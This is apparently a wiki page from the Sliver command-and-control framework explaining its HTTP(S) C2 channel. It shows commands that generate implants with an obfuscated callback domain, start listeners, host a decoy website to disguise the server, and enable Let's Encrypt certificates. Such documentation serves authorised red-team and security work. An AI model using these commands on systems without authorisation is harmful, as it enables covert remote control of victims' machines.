-
Notifications
You must be signed in to change notification settings - Fork 1.6k
HTTP(S) C2
Sliver supports proxy-aware C2 over both HTTP and HTTPS, however since Sliver does not rely upon the SSL/TLS layer for security these protocols are considered somewhat synonymous.
Sliver implants are compiled with a baked-in (but obfuscated of course) server domain that they will reach back out to. To generate a sliver implant that communicates to a server at example.com, run the following:
sliver > generate --http example.com
sliver > http
sliver > https
Sliver can stand up a website on your HTTP(S) listener in order to make the server look more legitimate. For example, you could put a default IIS index page here and mimic a normal-looking server in case someone comes by snooping. You can manage static content using the websites command.
websites --website fake-blog --web-path / --content ./index.html add
The http listener also supports automatic TLS certificates via Let's Encrypt, which can be enabled using the --lets-encrypt flag.
sliver > http --domain example.com --lets-encrypt
"Bred as living shields, these slivers have proven unruly—they know they cannot be caught."